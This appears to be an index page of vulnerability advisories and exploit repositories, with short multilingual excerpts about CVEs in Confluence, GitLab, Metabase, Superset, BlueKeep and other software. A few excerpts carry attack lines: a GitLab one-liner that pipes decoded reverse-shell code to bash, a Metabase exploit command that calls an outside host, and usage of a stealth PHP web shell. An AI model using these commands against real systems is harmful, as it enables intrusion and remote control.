WooCommerce Payments - Unauthorized Admin Access

An issue in WooCommerce Payments plugin for WordPress versions 5.6.1 and lower allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the...

Langflow OSS - Superuser Token Issuance

Langflow OSS with default AUTOLOGIN exposes /api/v1/autologin, which returns a superuser access token to any unauthenticated request. id: CVE-2026-9103 info: name: Langflow OSS - Superuser Token Issuance author: str4k3r severity: critical description: | Langflow OSS with default AUTOLOGIN exposes...

F5 BIG-IP Appliance Mode - Command Injection

When running in Appliance mode, an authenticated user assigned the Administrator role may bypass Appliance mode restrictions, utilizing an undisclosed iControl REST endpoint. id: CVE-2022-41800 info: name: F5 BIG-IP Appliance Mode - Command Injection author: dwisiswant0 severity: high description...

ldapdomaindump

LDAPDomainDump LDAP을 이용한 Active Directory 정보 덤퍼 소개 Active Directory 도메인에서는 인증된 사용자또는 머신가 LDAP을 통해 많은 흥미로운 정보를 검색할 수 있습니다. 이로 인해 LDAP은 내부 네트워크 침투 테스트의 정찰 단계에서 정보를 수집하는 데 유용한 프로토콜이 됩니다. 문제는 LDAP의 데이터가 종종 읽기 쉬운 형식으로 제공되지 않는다는 점입니다. ldapdomaindump는 이 문제를 해결하기 위해 설계된 도구로, LDAP을 통해 사용 가능한 정보를 수집하고 파싱하여...

ConfluentPwn

ConfluentPwn Confluence事前認証ONGLインジェクションリモートコード実行スキャナー CVE-2022-26134。 使用方法 以下のGIFはツールのデモ使用例を示しています： 以下がツールのヘルプ出力です： $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - モダンな攻撃表面（ASM）管理企業 + Author: Pinaki...

MCP-Inspector-CVE-2025-49596

MCP Inspector CVE-2025-49596 脆弱性チェッカー このスクリプトは、MCP Inspector サーバーが CVE-2025-49596 に対して脆弱かどうかをチェックします。これは、/sse エンドポイントが認証されていないリクエスト（認証トークンがない）に応答するというセキュリティ問題です。 動作の仕組み スクリプトは、対象の MCP Inspector サーバーの /sse エンドポイントに GET リクエストを送信します。 応答をチェックします: サーバーが認証トークンを必要とせずに HTTP 200 OK で応答した場合、脆弱である可能性が高いです。...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646として知られるMetabase RCEエクスプロイト用の自動化ツール。詳細（POC、Dork）は https://secry.me/explore/news/metabase-rce-cve-2023-38646/ を参照してください。 single.pyの使い方 python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" または python3 single.py -u...

Jatayu

JATAYU 은밀한 독립형 PHP 웹 셸 기능 HTTP 헤더 기반 인증. 100% 탐지 불가. 실행 함수 변경기. 별다른 것 없음. 사용법 GET /test/jatayu.php?fn=1&&cmd=whoami Host : http://test.com Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499 함수 매개변수| 기능 ---|--- fn=1| shellexec 함수 호출 fn=2| system 함수 호출 cmd=id| 명령 실행 인증 토큰 생성...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab事前認証RCE（CVE-2021-22205）のシングルラインバッシュPoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2023-20209

私は、Red Team エンゲージメント中にインターネット上で Cisco Expressway を何台か見かけたため調査を始めましたが、業務中にこの製品をさらに調査する時間はありませんでした。 当初は認証バイパスを探して RCE につなげようとしていましたが、時間切れとなり、認証後 RCE に落ち着きました。フロントエンドの PHP コードはさらなる悪用が期待できそうです……。 これは、CVE-2023-20209 の発見とベンダー通知に関する私のメモです。 悪用後のプロセスリストから、/sbin/request-crlupdate への呼び出しが見られます: root 16449 0...

cve-2026-43512-poc

CVE-2026-43512 — Apache Tomcat DIGEST 认证绕过 可利用性分析结果： 根本原因已确认。但针对标准 UserDatabaseRealm 部署，端到端利用不可复现 。详情请参见分析。 目录 概述 受影响版本 根本原因 分析 仓库结构 要求 使用方法 预期输出 参考 免责声明 概述 CVE-2026-43512 是 Apache Tomcat 的 HTTP DIGEST 认证机制中的一个漏洞。方法 RealmBase.getDigest 在构造 A1 哈希输入之前，未验证 getPasswordusername 的返回值。当用户名在已配置的 Realm...

CVE-2019-0708

CVE-2019-0708 BlueKeep 事前認証RCEのPoC（Windows 7向け） このリポジトリは、Windows リモートデスクトップサービス（RDS）におけるリモートコード実行のバグを示しています。 これは、私たちが以前に開発したBlueKeep脆弱性に関するPoCコードと技術レポートです。 注記: 私たちの目的は、アナリストが重大な脆弱性についてより深く理解できるよう支援することです。 使い方 前提条件 エクスプロイトコードは Python 3 で記述されており、PyRDP ライブラリに依存しています。PyRDPのインストールガイドに従ってセットアップしてください。...

CVE-2026-39987-POC

CVE-2026-39987 - Marimo 0.23.0 事前認証RCE（WebSocket） Marimoバージョン 0.23.0 未満の重大な事前認証リモートコード実行（RCE）脆弱性のProof of Concept（PoC）エクスプロイトです。 この脆弱性により、認証されていない攻撃者がWebSocketエンドポイント（/terminal/ws）に接続し、ターゲットサーバー上で任意のシステムコマンドを実行できるようになります。 特徴 自動検証 :...

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

CVE-2023-27524: Apache Superset 認証バイパスとRCE Apache Supersetは、データの可視化と探索に広く使われているオープンソースツールですが、認証バイパスやリモートコード実行（RCE）につながる可能性のあるセキュリティ上の脆弱性が確認されています。これらの脆弱性により、悪意のある攻撃者が標的のサーバー上で管理者権限を取得し、ユーザー認証情報を収集し、データを侵害する可能性があります。 問題となっている具体的なセキュリティ問題は、CVE-2023-27524として参照される安全でないデフォルト設定の脆弱性です。...

UBUNTU-CVE-2026-107279

The AsyncHttpClient AHC library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. In 3.0.12, a peer offering only Digest qop=auth-int causes mutual-authentication verification to be skipped. AuthenticatorUtils.computeExpectedRspAuth returns no...

CVE-2026-107279

The AsyncHttpClient AHC library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. In 3.0.12, a peer offering only Digest qop=auth-int causes mutual-authentication verification to be skipped. AuthenticatorUtils.computeExpectedRspAuth returns no...

watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452

watchTowr-vs-Citrix-Netscaler-PreAuth-RCE Citrix NetScaler CVE-2026-8452 用検出アーティファクトジェネレーター 技術的な詳細はブログ記事をご覧ください。 実行例 python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/ / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || ...

confusploit

CVE-2022-26134 の脆弱性があるサーバーを探すためのスクリプトで、SHODAN CLI や Bash スクリプトのワンライナーと一緒に使用できます 法的および教育目的でのみ使用してください OGNL インジェクションによる Confluence の事前認証リモートコード実行 CVE-2022-26134 2022年6月2日、Atlassian は Confluence Server および Data Center アプリケーションに関するセキュリティアドバイザリを公開し、深刻度が重大な未認証のリモートコード実行の脆弱性を強調しました。この OGNL...

cve-2020-11651

CVE-2020-11651 これはCVE-2020-11651のPoCであり、Salt Stackマスター、および/または関連するすべてのミニオンに対して事前認証RCEを取得します。この問題の簡単な詳細はこちらにあります。2020-11652のPoCは含まれていません。 これは、関数cmd.execcodeを使用してsalt.cmdのランナーを作成することにより、マスター上でコマンド実行を取得します。インタラクティブ性は実装されていないため、リバースシェルを受け取る必要があります。 使い方...

CVE-2023-27524

CVE-2023-27524 説明 - CVE-2023-27524 の POC: Apache Superset 認証バイパスの脆弱性。 - antx によって 2023-04-27 に作成されました。 詳細 - Apache Superset バージョン 2.0.1 以前におけるセッション検証攻撃。インストール手順に従ってデフォルト設定の SECRETKEY を変更していないインストール環境では、攻撃者が認証され、許可されていないリソースにアクセスできる可能性があります。これは、SECRETKEY 設定のデフォルト値を変更した Superset 管理者には影響しません。 CVE...